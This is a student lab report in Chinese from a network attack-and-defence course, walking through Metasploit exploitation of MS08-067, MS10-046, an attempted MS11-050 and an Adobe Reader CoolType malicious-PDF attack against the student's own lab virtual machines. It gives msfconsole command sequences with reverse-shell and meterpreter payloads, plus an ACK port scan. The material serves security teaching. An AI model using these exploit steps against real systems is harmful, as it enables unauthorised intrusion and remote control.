2018-2019-2 网络攻防技术 20165336 Exp5 MSF基础应用
2018-2019-2 20165336《网络攻防技术》Exp5 MSF基础应用
一、攻击实例
-
主动攻击的实践
ms08_067
(成功)
payload/generic/shell_reverse_tcp(成功)
-
攻击浏览器的实践
ms11_050
(失败)ms11_046
(成功)
exploit/windows/browser/ms10_046_shortcut_icon_dllloader
(成功且唯一)
exploit/windows/smb/ms10_046_shortcut_icon_dllloader
(成功)
-
攻击客户端的实践
Adobe
(成功)
-
成功应用任何一个辅助模块
- 应用
use auxiliary/scanner/portscan/ACK
(成功且唯一)
- 应用
二、知识点总结
- 1.MSF攻击方法
- 主动攻击:扫描主机漏洞,进行攻击
- 攻击浏览器
- 攻击其他客户端
- 2.MSF的六种模块
- 渗透攻击模块Exploit Modules:攻击漏洞,把shellcode"背"过去
主动渗透攻击:攻击某个系统服务
被动渗透攻击:攻击某个客户端应用 - 辅助模块Auxiliary Modules:在进行渗透攻击之前得到目标系统丰富的情报信息,它是攻击的前提
网络服务的扫描与查点
探查敏感信息泄露、Fuzz测试发掘漏洞
收集登录密码 - 攻击载荷Payload Modules:载荷,一段指令(shellcode),目标系统在被渗透攻击之后去执行的代码
- 空字段模块Nop Modules
一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,即空指令(滑行区)
由于系统无法精确计算shellcode的起始地址,所以加入nops以增加攻击成功的概率 - 编码模块Encoders
改变payload形状,使得不出现特定字符
确保攻击载荷中不会出现渗透攻击过程中应加以避免的“坏字符” - 后渗透攻击模块Post:攻击成功之后,动态传输代码使其在被控机执行
- 渗透攻击模块Exploit Modules:攻击漏洞,把shellcode"背"过去
- 查看六种模块源码目录/usr/share/metasploit-framework/modules
- 3.MSF的三种用户操作界面
- msfconsole
查看模块的具体信息info [exploits|auxiliary|post|payloads|encoders|nops]
查看设置信息show [options]
查看攻击目标类型show [target]
查找命令search
查找2016年产生的在windows平台下的漏洞search ms16 type:exploit platform:windows
- armitage
启动服务器service postgresql start
启动armitagearmitage
- webgui
- msfconsole
三、攻击实例
Exp5-1 实现ms08_067
靶机:windows XP SP3 中文版
payload : generic/shell_reverse_tcp
实验步骤
-
输入
msfconsole
打开metasploit控制台 -
查看一下ms08_067这个漏洞在哪里
search ms08-067
-
选择漏洞
use exploit/windows/smb/ms08_067_netapi
-
选择通过反向连接来获取shell的
generic/shell_reverse_tcp
当payload,使用指令set payload generic/shell_reverse_tcp
对payload进行设置 -
show targets
查看这个漏洞波及的系统版本,我们也可以通过修改target的值,来选择我们具体想要攻击的计算机系统(通常可以采用自动选取,即target设置为0) -
查看设置信息
show options
-
设置主机ip
192.168.1.241
和端口号 5336
-
设置靶机ip
set RHOSTS 192.168.1.140
-
接着使用
exploit
指令攻击成功
任务二:一个针对浏览器的攻击
实现ms11_050(失败)
- 关于漏洞的原理
- 原理:IE浏览器MSHTML模块在处理无效标签时存在use-after-free漏洞
- 影响范围:IE Exploer 7 以及 IE Exploer 8
search ms11_050 搜索漏洞
use windows/browser/ms10_046_shortcut_icon_dllloader 使用漏洞
show payloads 显示可用攻击载荷
set payload windows/meterpreter/reverse_tcp 选择攻击载荷
options 查看配置信息
set LHOST [ip] 设置监听地址
set 设置监听端口
set 设置攻击Ip
exploit 开始攻击,并在靶机打开msf给的http网址
sessions -i num 查看开启的会话
实验步骤
-
search ms11_050
搜索漏洞 -
use windows/browser/ms10_046_shortcut_icon_dllloader
使用漏洞 -
show payloads
显示可用攻击载荷
set payload windows/meterpreter/reverse_tcp
选择攻击载荷
-
对ip地址,端口号进行设置,然后进行攻击但失败了。
原因探索:
根据同学之间的交流,大家一致认为虚拟机windows XP sp3 中文版,会出现攻击失败的情况,重新更换靶机用windows XP SP3 英文版即可成功。
实现ms10_046(成功且唯一)
靶机:Microsoft Windows XP SP3 + IE8 / Windows 7 + IE8
exploit/windows/browser/ms10_046_shortcut_icon_dllloader
实验步骤
show payloads #显示可用攻击载荷
set payload windows/meterpreter/reverse_tcp #选择攻击载荷
show options #查看配置信息
set LHOST 192.168.1.241 #设置监听地址
exploit #进行攻击
-
输入
msfconsole
进入控制台,并使用刚才找到的exploituse windows/browser/ms10_046_shortcut_icon_dllloader
-
配置地址和端口号等信息
-
用exploit 进行攻击,windows XP打开相应地址然而出现了问题,失败了,查看session并没有连接。从而进行解决问题的思考ing。。。
-
尝试靶机用windows 7 结果一样失败了
原因探索:
探索原因后发现,windows XP靶机的IE浏览器的版本有问题,导致程序无法调用dll文件执行相应操作,实现攻击,所以得手动运行程序(有点low),才能实现攻击成功。
实现ms10_046(2)(成功)
靶机:Microsoft Windows XP SP3 + IE8 / Windows 7 + IE8
exploit/windows/smb/ms10_046_shortcut_icon_dllloader
show payloads #显示可用攻击载荷
set payload windows/meterpreter/reverse_tcp #选择攻击载荷
show options #查看配置信息
set LHOST 192.168.1.241 #设置监听地址
exploit #进行攻击
实验步骤
- 根据实现ms10_046(1)步骤可成功完成攻击。
- 最终攻击成功
任务三:一个针对客户端的攻击
实现Adobe
- 漏洞原理
- 这个漏洞针对Adobe阅读器9.3.4之前的版本,一个名为SING表对象中一个名为uniqueName的参数造成缓冲区溢出
- 本次攻击对象:windows xp sp3 Adobe 9.3.2
实验步骤
search adobe #进行查找
use windows/fileformat/adobe_cooltype_sing #使用漏洞
set payload windows/meterpreter/reverse_tcp #选择攻击载荷
set LHOST 192.168.1.241 #攻击者地址
set FILENAME 20165336.pdf #设置生成pdf文件的文件名
exploit #攻击
-
选择攻击模块,将其载入。
-
使用命令show payloads选择要使用的payload(这里使用了windows/meterpreter/reverse_http
-
对地址等参数进行配置
-
使用命令show options查看相关参数设置要求
-
设置好相应参数后,开始实施攻击,发现在/root/.msf4/local/目录下成功生成了一个20165336.pdf文件然后将该文件传送到靶机上(通过共享文件夹)并且在攻击机上打开监听
-
将靶机中的pdf文件打开,攻击机成功获取到靶机shell:
任务四:应用辅助模块
-
辅助模块:运用TCP中的ACK响应包检查端口的开放状态以及是否被屏蔽
-
在auxiliary中进行查找
search auxiliary
-
auxiliary中
use auxiliary/scanner/portscan/ack
并配置相应的主机地址和需要扫描的端口(这里我选择默认) -
exploit开始进行攻击
-
auxiliary模块执行完毕(为了截图提前中止了)
四、实验总结
1.实验总结与体会
这次实验我更加对msf有了极大的兴趣,再用exploit和payload时,让我了解到了许多的漏洞和有效的攻击手段,从而感觉到了工具的强大,在利用好工具与自己掌握很扎实的基础知识下,攻击便会得心应手,个人感觉nmap和auxiliary的作用有相似之处。总之在经过这次实验后,我对msf的理解又更深了一步,我相信在兴趣的推动下我会不断提高。
2.离实战还缺些什么技术
对于msf我认为还是个小白,距离实战还有很远的路,在熟练基础知识的前提下,还要熟悉所使用的工具,还需要不断地提高自己对渗透攻击的理解思维,这样才能在实战中从容应对。
3.用自己的话解释什么是exploit,payload,encode
exploit
我认为是攻击者开始向靶机进行攻击。
payload
我认为是攻击者进行攻击所能提供用到的“武器”。
encode编码
我认为是使shellcode改变,从而躲避检测。